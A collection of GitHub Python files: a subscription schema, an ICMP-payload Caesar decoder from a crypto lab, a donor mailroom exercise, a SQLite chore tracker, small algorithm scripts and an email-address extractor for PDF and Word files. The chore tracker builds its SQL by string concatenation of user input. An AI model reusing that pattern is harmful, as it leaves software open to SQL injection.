{"seq_id":"71877902181","text":"from datetime import datetime\nfrom typing import Optional\n\nfrom enum import Enum\nfrom pydantic import BaseModel\n\n\nclass SubscriptionType(str, Enum):\n    TRIAL = \"trial\"\n    STANDARD = \"standard\"\n    PREMIUM = \"premium\"\n\n\nclass SubscriptionBase(BaseModel):\n    pass\n\n\nclass SubscriptionCreate(SubscriptionBase):\n    username: str\n    application: str\n    credit: int\n    starts_at: datetime = datetime.now()\n    expires_at: Optional[datetime] = None\n    recurring: bool = False\n    created_by: str\n    notes: Optional[str] = None\n\n\nclass SubscriptionDetails(SubscriptionCreate):\n    created_at: datetime\n    balance: int\n","repo_name":"qcri/apihub-users","sub_path":"apihub_users/subscription/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4030702184","text":"import sys\nimport scapy.all as scapy\nfrom colorama import init, Fore, Style\n# Inicializar colorama\ninit(autoreset=True)\n# Obtener la ruta del archivo .pcapng desde la línea de comandos\npcapng_file = sys.argv[1]\n# Cargar el archivo .pcapng y filtrar los paquetes ICMP Request\npackets = scapy.rdpcap(pcapng_file)\nicmp_request_packets = [packet for packet in packets if packet.haslayer(scapy.ICMP) and packet[scapy.ICMP].type == 8]\n# Obtener el primer caracter del campo 'data' de cada paquete ICMP Request\ncharacters = [chr(packet[scapy.ICMP].load[0]) for packet in icmp_request_packets]\n# Función para descifrar el mensaje con cifrado César\ndef decrypt_cesar(text, shift):\n    decrypted_text = \"\"\n    for char in text:\n        if char.isalpha():\n            shifted_index = (ord(char) - ord('a') - shift) % 26\n            decrypted_char = chr(shifted_index + ord('a'))\n            decrypted_text += decrypted_char\n        else:\n            decrypted_text += char\n    return decrypted_text\n# Diccionario para almacenar las opciones de descifrado y su frecuencia\ndecrypted_options = {}\n# Probar todas las combinaciones posibles de cifrado César\nfor shift in range(26):\n    decrypted_message = decrypt_cesar(characters, shift)\n    \n    # Almacenar la opción de descifrado en el diccionario\n    decrypted_options[shift] = decrypted_message\n# Encontrar la opción más probable (con mayor frecuencia de letras comunes)\nmost_probable_shift = max(decrypted_options, key=lambda k: sum(decrypted_options[k].count(letter) for letter in \"aeiou\"))\n# Imprimir todas las opciones de descifrado con la opción más probable resaltada en verde\nfor shift, message in decrypted_options.items():\n    if shift == most_probable_shift:\n        print(f\"Shift {shift:2d}: {Fore.GREEN}{message.upper()}{Style.RESET_ALL}\")\n    else:\n        print(f\"Shift {shift:2d}: {message}\")\n","repo_name":"IvanCaceresS/Lab1_Cripto","sub_path":"readv2.py","file_name":"readv2.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"106508630","text":"# --------------------------------------------------------------------------- #\n# Title: Mailroom\n# Dev: Alex Jehle\n# Desc: This script logs and displays donors and\n#       their donation histories\n# Change Log: Jehle, Alex 11/1/2020 - created\n# Change Log: Jehle, Alex 11/28/2020 - updated w/ dicts and added menu option 3\n# Change Log: Jehle, Alex 12/19/2020 - updated w/ excepts and list comprehension\n# Change Log: Jehle, Alex 12/20/2020 - refactored to incorporate testing suite\n# Change Log: Jehle, Alex 01/17/2021 - updated to incorporate classes\n# --------------------------------------------------------------------------- #\nimport tempfile\nimport os\n\n\nclass Donor:\n    def __init__(self, full_name, donations):\n        self.full_name = full_name\n        self.donations = donations\n\n    @property\n    def first_name(self):\n        return self.full_name.split()[0]\n\n    @property\n    def name(self):\n        donor_name = self.full_name.split()\n        donor_name = [name.capitalize() for name in donor_name]\n        name_add = ''\n        for x in donor_name[0:-1]:\n            name_add = name_add + str(x) + \" \"\n        return name_add + donor_name[-1]\n\n    @property\n    def donor_report(self):\n        num = len(self.donations)\n        tot = sum(self.donations)\n        avg = tot / num\n        return [self.name, tot, num, avg]\n\n    def save_file(self, temp_dir):\n        os.chdir(temp_dir)\n        thank_you_print = self.generate_thank_you()\n        save_name = self.name.replace(\" \", \"_\") + \".txt\"\n        with open(save_name, 'w') as f:\n            f.write(thank_you_print)\n        return\n\n    def add_donation(self, amount):\n        self.donations.append(int(amount))\n        return\n\n    def generate_thank_you(self):\n        thank_you_print = f\"Dear {self.first_name},\\n\\tThank you for your generous donation of \" \\\n                          f\"${self.donations[-1]:.2f}! Each dollar you donate ends up providing endless value for\" \\\n                          f\" our town. \\n\\t We appreciate your gift and hope our partnership extends well into the \" \\\n                          f\"future. \\nRegards, \\n\\tThe Pawnee Restoration Fund\"\n        return thank_you_print\n\n\n# --------------------------------------------------------------------------------- #\nclass DonorCollection:\n    def __init__(self, donors):\n        self.donors = donors\n\n    def print_list(self):\n        for name, donor in self.donors.items():\n            print(f'{donor.name}')\n        print(\"\\n\")\n        return\n\n    def check_donor(self, name):\n        return name in self.donors.keys()\n\n    def add_donor(self, new_donor):\n        self.donors[new_donor.name] = new_donor\n        return\n\n    @property\n    def printed_report(self):\n        reports = [d.donor_report for d in self.donors.values()]\n        reports.sort(reverse=True, key=lambda x: x[1])\n\n        print_report = [f\"{'Name' :<20}|{'Total Donated' :^20}|{'Number of Donations' :^20}|\"\n                        f\"{'Average Donation' :^20}\\n---------------------------------------\"\n                        f\"-------------------------------------------\"]\n        for donor_report in reports:\n            print_report.append(f\"{donor_report[0] : <20}${donor_report[1] :^20,.2f}{int(donor_report[2]) : ^20}\"\n                                f\"${donor_report[3] : =20.2f}\")\n        return print_report\n\n    def print_report(self):\n        for line in self.printed_report:\n            print(line)\n\n    def thank_you_dump(self):\n        td = tempfile.gettempdir()\n        for donor in self.donors.values():\n            donor.save_file(td)\n        print(f'Files can be found at: {td}')\n        return\n\n\n# --------------------------------------------------------------------------------- #\ndef thank_you():\n    entry = input(\"Input Full Name: \")\n    if entry.lower() == 'list':\n        ds.print_list()\n    else:\n        try:\n            amount = [float(input(\"What is the donation amount?: $\"))]\n            if ds.check_donor(entry):\n                d = ds.donors[entry]\n                d.add_donation(amount[0])\n            else:\n                d = Donor(entry, amount)\n                print(d)\n                ds.add_donor(d)\n            print(d.generate_thank_you())\n        except (ValueError, TypeError):\n            print('Please enter amount as a number\\n')\n            thank_you()\n    return\n\n\nif __name__ == \"__main__\":\n    ds = DonorCollection({})\n    ds.add_donor(Donor(\"Ben Wyatt\", [1663.23, 4300.87, 10432.0]))\n    ds.add_donor(Donor(\"Ron Swanson\", [100000]))\n    ds.add_donor(Donor(\"April Ludgate\", [10, 1.52, 0.25]))\n    ds.add_donor(Donor(\"Ann Perkins\", [100, 100]))\n    ds.add_donor(Donor(\"Leslie Knope\", [1663.23, 4300.87, 1432.0]))\n\n    arg_dict = {\n        1: thank_you,\n        2: ds.print_report,\n        3: ds.thank_you_dump,\n    }\n    while True:\n        # Display a menu of choices to the user\n        choice = input('\\nMenu of Options \\n 1) Send a Thank You \\n 2) Create a Report '\n                       '\\n 3) Send letters to all donors \\n 4) Quit'\n                       '\\nWhich option '\n                       'would you like to perform? \\n')\n        try:\n            choice = int(choice)\n        except TypeError:\n            print('Please enter an integer')\n        if choice == 4:\n            print('Goodbye!')\n            break\n        else:\n            try:\n                arg_dict[choice]()\n            except KeyError:\n                print('Key: Please enter a number 1-4')\n        continue\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/anjehle/lesson09/mailroom5.py","file_name":"mailroom5.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"73926670500","text":"\nimport sys\nfrom datetime import datetime\nfrom pytz import timezone\nimport pytz\nimport sqlite3\n\n# initialize database connection\n\nclass DatabaseManager(object):\n    def __init__(self):\n        self.con = sqlite3.connect('../data/home.db', check_same_thread=False)\n        self.cur = self.con.cursor()\n\n    def __del__(self):\n        self.cur.close()\n        self.con.close()\n\n    def get_user_id(self, user_name):\n        self.cur.execute('SELECT id FROM user WHERE first_name = \\'' + user_name + '\\'')\n        return self.cur.fetchone()[0]\n\n    def get_chore_id(self, chore_name):\n        self.cur.execute('SELECT id FROM chore WHERE name = \\'' + chore_name + '\\'')\n        return self.cur.fetchone()[0]\n\n    def get_chore_description(self, chore_name):\n        self.cur.execute('SELECT description FROM chore WHERE name = \\'' + chore_name + '\\'')\n        return self.cur.fetchone()[0]\n\n    def get_date_assigned(self, chore_id):\n        self.cur.execute('SELECT date_assigned FROM chore_assignment WHERE chore_id = ' + str(chore_id))\n        return self.cur.fetchone()[0]\n\n    def log_chore(self, chore_name, user_name):\n        user_id = self.get_user_id(user_name)\n        chore_id = self.get_chore_id(chore_name)\n        date_assigned = self.get_date_assigned(chore_id)\n        date_completed = str(datetime.now(timezone('US/Pacific')))\n\n        self.cur.execute('INSERT INTO chore_log (user_id, chore_id, date_completed, date_assigned) VALUES (?, ?, ?, ?)', \\\n            (user_id, chore_id, date_completed, date_assigned))\n        self.con.commit()\n\n    def reassign_chore(self, chore_name, user_name):\n        self.cur.execute('SELECT COUNT (1) FROM user')\n        user_count = self.cur.fetchall()[0][0]\n        current_user_id = self.get_user_id(user_name)\n        chore_id = self.get_chore_id(chore_name)\n        next_user_id = (current_user_id + 1)%user_count\n        date_assigned =  str(datetime.now(timezone('US/Pacific')))\n\n        self.cur.execute('UPDATE chore_assignment SET user_id = ' + str(next_user_id) + ' WHERE chore_id = ' + str(chore_id))\n        self.cur.execute('UPDATE chore_assignment SET date_assigned = \\'' + date_assigned + '\\' WHERE chore_id = ' + str(chore_id))\n        self.con.commit()\n\n    def get_chore_assignments(self):\n        self.cur.execute('SELECT user.first_name, chore.description FROM chore_assignment INNER JOIN chore ON chore_id = chore.id INNER JOIN user ON user_id = user.id')\n        return self.cur.fetchall()\n\n    def compose_message(self, chore_name, user_name):\n        message = user_name.title() + ' completed: ' + self.get_chore_description(chore_name) + '\\n\\n'\n        message += 'Current Assignments:\\n'\n        assignments = self.get_chore_assignments()\n        for assignment in assignments:\n            message += assignment[0].title() + ' - ' + assignment[1] + '\\n'\n\n        return message\n\n    def update_chore(self, chore_name, user_name):\n        chore_name = chore_name.upper()\n        user_name = user_name.upper()\n\n        # log chores\n        self.log_chore(chore_name, user_name)\n\n        # figure out new assignments based on\n        self.reassign_chore(chore_name, user_name)\n\n        # Notify all users of current state\n        message = self.compose_message(chore_name, user_name)\n\n        return message\n\ndef main():\n    # extract names from command line input\n    chore = sys.argv[1]\n    user = sys.argv[2]\n\n    print(DatabaseManager().update_chore(chore, user))\n\nif __name__ == '__main__':\n    main()\n","repo_name":"atrifex/Daily-Chores","sub_path":"src/update_chores.py","file_name":"update_chores.py","file_ext":"py","file_size_in_byte":3483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16664701325","text":"#functions\r\ndef FindFactors(inpNum):\r\n\tnum=int(inpNum)\r\n\tret=[]\r\n\tif (num==0 or num==1):\r\n\t\treturn [num]\r\n\tfor i in range(1,inpNum):\r\n\t\tif (inpNum % i ==0):\r\n\t\t\tret.append(i)\r\n\treturn ret\r\n\r\ndef IsPerfectNumber(inpNum,inpList):\r\n\tnum=int(inpNum)\r\n\tsum=0\r\n\tfor ele in inpList:\r\n\t\tsum+=ele\r\n\tif (sum == num):\r\n\t\treturn True\r\n\telse:\r\n\t\treturn False\r\n#main\r\nfor num in range(2,1001):\r\n\tfactor=FindFactors(num)\r\n\tif (IsPerfectNumber(num,factor)):\r\n\t\t\tprint(num)\r\n\t\t\tprint(factor)\r\n\r\n","repo_name":"wtyhome/Python-Learning_Examples","sub_path":"script19.py","file_name":"script19.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15973314832","text":"#using kadane's algo\n\nclass Solution:\n    def maxSubArray(self, nums: List[int]) -> int:\n        globalMax = nums[0]\n        interMax = nums[0]\n        for i in range(1, len(nums)):\n            interMax = max(nums[i], interMax+nums[i])\n            globalMax = max(globalMax, interMax)\n        return globalMax\n","repo_name":"mukkatharun/leetcode","sub_path":"MustDoEasy/Question53MaximumSubArray.py","file_name":"Question53MaximumSubArray.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37296821211","text":"# -*- coding: utf-8 -*-\r\n#!/usr/bin/env python\r\n#\r\n# Extracts email addresses from one or more .pdf, .doc, .docx files.\r\n#\r\n# Can take a folder as input to proccess all the files in it (not in the sub-folders)\r\n#\r\n# Without arguments, processes all the subfolders in the \r\n# current folder (1-subfolder depth) + current_folder itself.\r\n#\r\n# Output is saved in the foldername_emails.txt\r\n# The z_log_emails_... .txt file with statistics and errors is created when crocessing the folder.\r\n#\r\n# 2019 Iurii Antropov <yuantrop@yahoo.com>\r\n#\r\n# Built upon the scripts of:\r\n# (c) 2013  Dennis Ideler <ideler.dennis@gmail.com>\r\n# https://gist.github.com/dideler/5219706\r\n#\r\n# And of vinovator:\r\n# https://gist.github.com/vinovator/c78c2cb63d62fdd9fb67\r\n\r\n\r\n### includes===============================================================\r\nfrom optparse import OptionParser\r\nimport os.path\r\nimport re\r\n\r\nimport subprocess # to launch some console utilities and retrieve at output\r\nimport ntpath # To get the name from the path no matter the operating system\r\n\r\nimport docx2txt #For extraction from docx\r\n\r\n#For extration from pdf\r\n''' Important classes to remember\r\nPDFParser - fetches data from pdf file\r\nPDFDocument - stores data parsed by PDFParser\r\nPDFPageInterpreter - processes page contents from PDFDocument\r\nPDFDevice - translates processed information from PDFPageInterpreter to whatever you need\r\nPDFResourceManager - Stores shared resources such as fonts or images used by both PDFPageInterpreter and PDFDevice\r\nLAParams - A layout analyzer returns a LTPage object for each page in the PDF document\r\nPDFPageAggregator - Extract the decive to page aggregator to get LT object elements\r\n'''\r\n    \r\nfrom pdfminer.pdfparser import PDFParser\r\nfrom pdfminer.pdfdocument import PDFDocument\r\nfrom pdfminer.pdfpage import PDFPage\r\n# From PDFInterpreter import both PDFResourceManager and PDFPageInterpreter\r\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\r\n#from pdfminer.pdfdevice import PDFDevice\r\n# Import this to raise exception whenever text extraction from PDF is not allowed\r\nfrom pdfminer.pdfpage import PDFTextExtractionNotAllowed\r\nfrom pdfminer.layout import LAParams, LTTextBox, LTTextLine\r\nfrom pdfminer.converter import PDFPageAggregator\r\n\r\n\r\n#Configure the PATH to the antiword package\r\nimport sys\r\nantiword_path=\"C:\\\\\"\r\nif getattr( sys, 'frozen', False ) :\r\n        # if running in a bundle  (as .exe)\r\n        antiword_path=sys._MEIPASS # search for the antiword in the tmp folder of the extracted bundle\r\n        #print(\"antiword_path = \" + antiword_path)\r\n        os.environ[\"PATH\"] += os.pathsep + os.path.join(antiword_path, \"antiword\")\r\n        os.environ[\"HOME\"] = antiword_path\r\n        #print(os.environ[\"PATH\"])     \r\nelse :\r\n        # running live (as .py)\r\n        # search for antiword subfolder in scripts current folder\r\n        script_parent_dir = os.path.dirname(__file__)\r\n        antiword_path = os.path.join( script_parent_dir ,\"antiword\")\r\n        if os.path.isdir(antiword_path):\r\n            os.environ[\"PATH\"] += os.pathsep + antiword_path\r\n            os.environ[\"HOME\"] = script_parent_dir\r\n        else:\r\n            #Assuming that antiword is properly installed \r\n            pass\r\n        #print(\"antiword_path = \" + antiword_path)\r\n        \r\n### End includes===============================================================\r\n\r\n# Regex to search for emails in the plain text\r\nregex = re.compile((\"([a-z0-9][a-z0-9!#$%&'*+\\/=?^_`{|}~-]*\"\r\n                    \"(?:\\.[a-z0-9!#$%&'*+\\/=?^_`{|}~-]+)*\"\r\n                    \"@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\\.))+\"\r\n                    \"[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\"))\r\n\r\n##regex to match the line-spaced emails: t e s t . t e s t 2 @ g m a i l . c o m\r\n#(it's not used anyware in the code yet)\r\nregex2 = re.compile(\"\\s((?:[a-z0-9!#$%&'*+\\/=?^_`{|}~-] )+(?:(?:\\. )(?:[a-z0-9!#$%&'*+\\/=?^_`{|}~-] )+)*@ (?:[a-z0-9] (?:(?:[a-z0-9-] )*[a-z0-9] )?(?:\\. ))+[a-z0-9] (?:(?:[a-z0-9-] )*[a-z0-9])?)\\s\")\r\n\r\n\r\n# regex which match the word \"dot\" in place of \".\" and word \"at\" instead of \"@\" like:\r\n# emailName at gmail dot com\r\n#regex = re.compile((\"([a-z0-9!#$%&'*+\\/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+\\/=?^_`\"\r\n#                    \"{|}~-]+)*(@|\\sat\\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\\.|\"\r\n#                    \"\\sdot\\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\"))\r\n\r\n                        \r\ndef file_to_str(filename):\r\n    \"\"\"Returns the contents of filename as a string.\"\"\"\r\n    with open(filename, \"r\") as f:\r\n        return f.read().lower() # Case is lowered to prevent regex mismatches.\r\n\r\ndef doc_to_str(filename):\r\n    \"Return a contents of the .doc file as string. Uses antiword.\"\r\n    #antiword should be installed and configured in the system\r\n    #antiword recognizes it the .doc file is zipped and extracts it.\r\n    #yet, there are some issues with bad recognition of headers/footnotes in the documents\r\n    #and, maybe, some other special elements\r\n    MyOut = subprocess.Popen([\"antiword\", filename], \r\n            stdout=subprocess.PIPE, \r\n            stderr=subprocess.STDOUT)\r\n    stdout,stderr = MyOut.communicate()\r\n    #print(stdout.decode(\"utf-8\", errors=\"ignore\"))\r\n    return stdout.decode(\"utf-8\", errors=\"ignore\")\r\n\r\ndef doc_as_txt_to_str(filename):\r\n    \"\"\"Returns the contents of the .doc file reading it as a plain text file.\r\nIgnores encoding errors\"\"\"\r\n    #- It doesn't work on all the .doc files, some of them are zipped.\r\n    #- Works well on headers and footnotes\r\n    #- Known issue: some non-text gibberish might be later matched by the regex,\r\n    # like: at7@x.c\r\n    with open(filename, \"rb\") as f:\r\n        return f.read().lower().decode(\"utf-8\", errors='ignore') # Case is lowered to prevent regex mismatches.\r\n\r\n# Textract - powerfull library to extract text from many document formats.\r\n# Yet, somestimes gives an encoding error on processing the .doc files\r\n#import textract      \r\n#def doc_to_str(filename):\r\n#    \"\"\"Returns the contents of Microsoft Word .doc with name <filename> as a string.\"\"\"\r\n#    return textract.process(filename).decode(\"utf-8\").lower()   \r\n\r\n#======================================================================================= \r\ndef pdf_to_str(pdf_filepath):\r\n    \"\"\"Returns the contents of pdf as a string.\"\"\"\r\n    \r\n    # Code is taken and modified from:\r\n    # https://gist.github.com/vinovator/c78c2cb63d62fdd9fb67\r\n    \r\n    # pdfTextMiner.py\r\n    # Python 2.7.6\r\n    # For Python 3.x use pdfminer3k module\r\n    # This link has useful information on components of the program\r\n    # https://euske.github.io/pdfminer/programming.html\r\n    # http://denis.papathanasiou.org/posts/2010.08.04.post.html\r\n    \r\n    ''' This is what we are trying to do:\r\n    1) Transfer information from PDF file to PDF document object. This is done using parser\r\n    2) Open the PDF file\r\n    3) Parse the file using PDFParser object\r\n    4) Assign the parsed content to PDFDocument object\r\n    5) Now the information in this PDFDocumet object has to be processed. For this we need\r\n       PDFPageInterpreter, PDFDevice and PDFResourceManager\r\n     6) Finally process the file page by page \r\n    '''\r\n    \r\n#    my_file = os.path.join(\"./\" + pdf_filepath)\r\n    \r\n    password = \"\"\r\n    extracted_text = \"\"\r\n    \r\n    # Open and read the pdf file in binary mode\r\n    fp = open(pdf_filepath, \"rb\")\r\n    \r\n    # Create parser object to parse the pdf content\r\n    parser = PDFParser(fp)\r\n    \r\n    # Store the parsed content in PDFDocument object\r\n    document = PDFDocument(parser, password)\r\n    \r\n    # Check if document is extractable, if not abort\r\n    if not document.is_extractable:\r\n    \traise PDFTextExtractionNotAllowed\r\n    \t\r\n    # Create PDFResourceManager object that stores shared resources such as fonts or images\r\n    rsrcmgr = PDFResourceManager()\r\n    \r\n    # set parameters for analysis\r\n    laparams = LAParams()\r\n    \r\n    # Create a PDFDevice object which translates interpreted information into desired format\r\n    # Device needs to be connected to resource manager to store shared resources\r\n    # device = PDFDevice(rsrcmgr)\r\n    # Extract the decive to page aggregator to get LT object elements\r\n    device = PDFPageAggregator(rsrcmgr, laparams=laparams)\r\n    \r\n    # Create interpreter object to process page content from PDFDocument\r\n    # Interpreter needs to be connected to resource manager for shared resources and device \r\n    interpreter = PDFPageInterpreter(rsrcmgr, device)\r\n\r\n    # Ok now that we have everything to process a pdf document, lets process it page by page\r\n    \r\n    for page in PDFPage.create_pages(document):\r\n    \t# As the interpreter processes the page stored in PDFDocument object\r\n    \tinterpreter.process_page(page)\r\n    \t# The device renders the layout from interpreter\r\n    \tlayout = device.get_result()\r\n    \t# Out of the many LT objects within layout, we are interested in LTTextBox and LTTextLine\r\n    \tfor lt_obj in layout:\r\n    \t\tif isinstance(lt_obj, LTTextBox) or isinstance(lt_obj, LTTextLine):\r\n    \t\t\textracted_text += lt_obj.get_text()\r\n    \t\t\t\r\n    #close the pdf file\r\n    fp.close()\r\n    \r\n    # print (extracted_text.encode(\"utf-8\"))\r\n    return extracted_text\r\n\r\n### End of pdf_to_str() =======================================================\r\n\r\ndef get_emails(s):\r\n    \"\"\"Returns an list of matched emails found in string s.\"\"\"\r\n    # Removing lines that start with '//' because the regular expression\r\n    # mistakenly matches patterns like 'http://foo@bar.com' as '//foo@bar.com'.\r\n    return [email[0] for email in re.findall(regex, s) if not email[0].startswith('//')]\r\n    \r\ndef extract_emails_from_file(filepath):\r\n    \"Read a file according to it's extension and return extracted emails \"\r\n    print(\"Processing file: \" + filepath)\r\n    filename, file_extension = os.path.splitext(filepath)        \r\n    emails=[]\r\n# Let's drop txt files support for now\r\n#    if file_extension=='.txt':\r\n#        for email in get_emails(file_to_str(filepath)):\r\n#            emails.append(email)\r\n#            print(email)\r\n    if file_extension=='.pdf':\r\n        for email in get_emails(pdf_to_str(filepath)):\r\n            emails.append(email)\r\n            print(email)\r\n    elif file_extension=='.docx':\r\n        text = docx2txt.process(filepath)\r\n        for email in get_emails(text):\r\n            emails.append(email)\r\n            print(email)\r\n    elif file_extension=='.doc':\r\n        text = doc_to_str(filepath) # try antiword tool\r\n        emails=get_emails(text)\r\n        \r\n        if len(emails)==0 and \"is not a Word Document.\" in text:\r\n            #antiword doesn't recognize more recent .doc.\r\n            #try docx2txt in case the .doc is zipped .xml file\r\n            text = docx2txt.process(filepath)\r\n            emails=get_emails(text)\r\n        if len(emails)==0:\r\n            #if nothing have helped, try to open .doc file as a plain text\r\n            #this method is prone to errors: some random noise may look like an email, like:\r\n            # 4j30@hsx.c\r\n            text=doc_as_txt_to_str(filepath)\r\n            emails=get_emails(text)\r\n            \r\n        for email in emails:\r\n            print(email)\r\n    else:\r\n        #print(\"L'extension de fichier est inconnue!!!\")\r\n        pass\r\n    return emails\r\n\r\ndef path_leaf(path):\r\n    \"Return the filename.ext or dirname.ext from the path\"\r\n    head, tail = ntpath.split(path)\r\n    return tail or ntpath.basename(head)\r\n\r\ndef filter_unique_emails(sequence):\r\n    \"Clear the duplicates from sequence, but keep an order\"\r\n    seen = set()\r\n    return [x for x in sequence if not (x in seen or seen.add(x))]   \r\n\r\n###  Main =====================================================================\r\nif __name__ == '__main__':\r\n    #Print Usage if run from console\r\n    parser = OptionParser(usage=(\"\\npython %prog [FILE]...\\n\"\r\n                                 \"python %prog [DIR]...\\n\"\r\n                                 \"python %prog <-- to process the same directory\")\r\n                                )\r\n    # No options added yet. Add them here if you ever need them.\r\n    options, args = parser.parse_args()\r\n\r\n    #If no input arguments -  run on all the folders in the current directory\r\n    #and on the current directory\r\n    if not args:\r\n        #args=[x in os.listdir('./')\r\n        args=[x for x in os.listdir('./') if os.path.isdir('./'+ x)]\r\n        args.append(\"./\")\r\n   \r\n    #The list of files or directories is expected as an arguments\r\n    for arg in args:\r\n        #For counters and extracted emails\r\n        all_emails=[]\r\n        unique_emails=set()\r\n        files_processed=0\r\n        files_unknown_format=[]\r\n        files_without_emails=[]\r\n        files_with_emails=0\r\n        files_with_only_duplicate_mails=[]\r\n        files_with_errors=[]\r\n        duplicate_emails=0\r\n        \r\n        #If arg is a file\r\n        if os.path.isfile(arg):\r\n            filename, file_extension = os.path.splitext(arg)\r\n            if file_extension not in ['.pdf', '.doc', '.docx']:\r\n                continue\r\n            try:\r\n                all_emails+=extract_emails_from_file(arg)\r\n                unique_emails = filter_unique_emails(all_emails)\r\n            except Exception as e:\r\n                print(\"Error processing file: {}\".format(arg))\r\n                print(e)\r\n                continue\r\n            #print(\"Finis !!\")    \r\n        #If arg is a folder\r\n        elif os.path.isdir(arg):\r\n            # temporary log file with extracted emails. It is deleted on success.\r\n            with open(arg + \"_emails_extract_tmp.log\",\"w\", encoding=\"utf-8\") as log_file:\r\n                n_files=0\r\n                for file in os.listdir(arg):\r\n                    filepath=arg + \"/\" + file\r\n                    if os.path.isfile(filepath):\r\n                        n_files+=1\r\n                        filepathname, file_extension = os.path.splitext(filepath)\r\n                        filename = path_leaf(filepath)\r\n                        if file_extension not in ['.pdf', '.doc', '.docx']:\r\n                            files_unknown_format.append(filename)\r\n                            continue                       \r\n                        try:\r\n                            emails=extract_emails_from_file(filepath)\r\n                        except Exception as e:\r\n                            print(\"Error processing file: {}\".format(filepath))\r\n                            print(e)\r\n                            files_with_errors.append(filename)\r\n                        else:\r\n                            files_processed+=1\r\n                            all_emails+=emails\r\n\r\n                            if len(emails)==0:\r\n                                files_without_emails.append(filename) \r\n                            else:\r\n                                new_emails=0\r\n                                for email in emails:\r\n                                    if not email in unique_emails:\r\n                                        unique_emails.add(email)\r\n                                        new_emails+=1\r\n                                if new_emails==0:\r\n                                    files_with_only_duplicate_mails.append(filename)\r\n                                else:\r\n                                    files_with_emails+=1\r\n                            log_file.write(\"{};{}\\n\".format(file, emails))\r\n                            if (n_files % 10) ==0:\r\n                                log_file.flush()\r\n                            \r\n        else:\r\n            print('\"{}\" is not a file or directory.'.format(arg))\r\n            parser.print_usage()\r\n            continue\r\n    \r\n        #Write an output\r\n        outputName=arg+\"_emails.txt\"\r\n        dirname=os.path.dirname(os.path.abspath(arg))\r\n        logName = dirname + \"/z_log_emails_\" + path_leaf(arg)+ \".txt\"\r\n        if arg==\"./\":\r\n            outputName=\"./\" + path_leaf(os.path.abspath(\"./\")) + \"_curr_folder_emails.txt\"\r\n            logName =  dirname + \"/z_log_emails_\" + path_leaf(os.path.abspath(\"./\"))+ \"_curr_folder.txt\"\r\n            \r\n        if len(all_emails)!=0:\r\n            with open(outputName, 'w') as f:\r\n#                filtered_emails = unique_emails(all_emails)\r\n                f.write(\"\\n\".join(unique_emails) + \"\\n\")\r\n                \r\n            #Print statistics on the screen\r\n            print(\"Unique emails extracted: {}\".format( len(unique_emails) ) )\r\n            if (os.path.isdir(arg)):\r\n                print(\"Files total: {}\".format( files_processed ) )\r\n                print(\"Files with unknown extension: {}\".format( len(files_unknown_format) ) )\r\n                print(\"Files with new emails: {}\".format( files_with_emails ) )\r\n                print(\"Files with duplicate emails: {}\".format( len(files_with_only_duplicate_mails )))\r\n                print(\"Files without emails: {}\".format( len(files_without_emails )) )\r\n                print(\"Files with errors: {}\".format( len(files_with_errors )))\r\n                \r\n                #And write them in the separate <z_log_... .txt> file\r\n                #Also, list all the files with errors, with no emails, and with only duplicates\r\n\r\n                dirname=os.path.dirname(os.path.abspath(arg))\r\n                with open(logName ,'w') as log_file:\r\n                    log_file.write(\"Unique emails extracted: {}\\n\".format( len(unique_emails) ))\r\n                    log_file.write(\"Files processed: {}\\n\".format( files_processed ) )\r\n                    log_file.write(\"Files with unsupported extension: {}\\n\".format( len(files_unknown_format) ) )\r\n                    log_file.write(\"Files with new emails: {}\\n\".format( files_with_emails ) )\r\n                    log_file.write(\"Files with duplicate emails: {}\\n\".format( len(files_with_only_duplicate_mails )))\r\n                    log_file.write(\"Files without emails: {}\\n\".format( len(files_without_emails )) )\r\n                    log_file.write(\"Files with errors: {}\\n\\n\".format( len(files_with_errors )))\r\n                    \r\n                    if len(files_with_errors)>0:\r\n                        log_file.write(\"FILES WITH ERRORS:\\n\")\r\n                        log_file.write(\"\\n\".join(files_with_errors) + \"\\n\\n\")\r\n                        \r\n                    if len(files_unknown_format)>0:\r\n                        log_file.write(\"FILES WITH UNSUPPORTED EXTENSION:\\n\")\r\n                        log_file.write(\"\\n\".join(files_unknown_format) + \"\\n\\n\")\r\n                        \r\n                    if len(files_without_emails)>0:\r\n                        log_file.write(\"FILES WITHOUT EMAILS:\\n\")\r\n                        log_file.write(\"\\n\".join(files_without_emails) + \"\\n\\n\")     \r\n                    \r\n                    if len(files_with_only_duplicate_mails)>0:\r\n                        log_file.write(\"FILES WITH DUPLICATE EMAILS:\\n\")\r\n                        log_file.write(\"\\n\".join(files_with_only_duplicate_mails) + \"\\n\\n\")      \r\n            \r\n        #Delete temp file if everything finished successfully\r\n        if os.path.isfile(arg + \"_emails_extract_tmp.log\"):\r\n            os.remove(arg + \"_emails_extract_tmp.log\")\r\n                \r\n    \r\n            ","repo_name":"iurantr/mailextractor","sub_path":"extract_mails.py","file_name":"extract_mails.py","file_ext":"py","file_size_in_byte":19136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
